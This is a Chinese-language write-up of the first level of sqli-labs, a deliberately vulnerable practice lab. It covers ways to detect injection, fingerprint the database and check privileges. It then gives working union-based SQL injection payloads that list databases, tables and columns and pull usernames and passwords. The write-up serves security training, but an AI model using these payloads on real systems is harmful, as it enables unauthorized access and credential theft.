目录
sqli-labs解题笔记~训练篇
前言
经过了两个阶段的过渡,现在可以使用靶场进行训练试试
我所使用的靶场是使用vulstudy搭建的,也可以使用phpstudy搭建线下的靶场。
具体搭建方法不提了,再回顾一下sql注入方式,以及判断方式
sql注入方式
1.报错注入(联合查询)
1)字符型
2)数字型
2.报错注入(基于二次注入)
3.盲注
1)基于布尔值
2)基于时间
4.UPDATE型注入练习
5.INSERT型注入练
6. HTTP头部注入
1)基于Referer
2)基于UserAgent
3)基于Cookie
7. 二次排序注入练习
判断是否存在sql注入
像这种在url中可以看到?id=……的, 就是get请求,可以在url中看到传递的参数。
简单判定有无漏洞:
粗略型:提交单引号’
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):'and'1'='1/'and'1'='2
逻辑型(搜索型注入):%'and 1=1 and'%'='%/%'and 1=2 and'%'='%
简单判断数据库信息:
粗略型:
加单引号’(根据服务器报错的信息来判断)
加;--(; 表示分离,– 则是注释符,; 和–MSSQL 数据库有,ACCESS 数据库没有)
逻辑型:
and user>0
and (select count() from msysobjects)>0 ……(页面错误为 access 数据库)
and (select count() from sysobjects)>0 ……(页面正常为 MSSQL 数据库)
and db_name()>0 ……(爆数据库名)
and version>0(爆 SQLServer 版本信息以及服务器操作系统的类型和版本信息)
判断 MSSQL 权限:
and 0<>(Select ISSRVROLEMEMBER('sysadmin'))--(页面正常则为 SA)
and 0<>(Select IS_MEMBER('db_owner'))--(页面正常则为 db_owner)
and 0<>(Select IS_MEMBER('public'))--(页面正常则是 public)
注意:
以上方法适用于参数是 int 数字型的时候。
若为字符型,需在参数后添加单引号’并在查询语句后添加;--,搜索型注入以此类推。
开始训练!
Less-1
提示输入id参数,输入
?id=1 and 1 = 2 --+
得到正常回显,判断此处不是数字型注入
这时我们在参数后加一个’
?id=1'
得知这是一个mysql数据库,并且回显不正常,可能存在sql注入漏洞。
同时get参数被‘单引号括在一起。
注释尾部
?id=1' --+
回显正常,所以此处是字符型注入。
order by子句快速猜解表中的列数
order by 4 --+
发现到了4列是报错,所以表中只有三列。
union select语句回显
猜解列数还有一种方法如:
'union select 1 --+
'union select 1,2 --+
'union select 1,2,3 --+
......
一直增加数字,如果字段数和数字的数量不一致的话会显示报错,一直增加到数字到不报错,最后数字的值就是表的列数
已知列数为三列,且有两个显示位
使用联合查询,查看回显:。
mysql函数
version() # 获取mysql数据库版本
database() # 获取当前数据库名
user() # 获取用户名
current_user() # 获取当前用户名
system_user() # 获取系统用户名
@@datadir # 获取数据库路径
@@version_compile_os # 获取操作系统版本
爆mysql版本和操作系统信息
?id=-1'union select 1,version(),@@version_compile_os --+
爆数据库用户名和数据库名
?id=-1'union select 1,user(),database() --+
爆数据库路径
?id=-1'union select 1,2,@@datadir --+
显示位空显
null
爆库名
union select 1,null,schema_name from information_schema.schemata limit 0,1 --+ # 爆出一个数据库
union select 1,null,group_concat(schema_name) from information_schema.schemata --+ # 爆出全部数据库
爆表名
union select 1,null,(select table_name from information_schema.tables where table_schema = database() limit 0,1) --+ # 爆出数据库" security "里的一个表名
union select 1,null,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+ # 爆出数据库" security "里的所有表名
爆列名
union select 1,null,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1) --+ # 从表名" users "中爆出一个字段来
union select 1,null,( select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users' ) --+ # 从表名" users "中爆出全部字段来
爆数据
union select 1,null,concat(id,0x7e,username,0x7e),password from users limit 0,1 --+ # 从" users "表里对应的列名中爆出一个数据来
union select 1,null,(select group_concat(concat(id,0x7e,username,0x7e,password)) from users) --+ # 从" users "表里对应的列名中爆出所有数据来
结语
第一关基本就是这样,这次就到这里。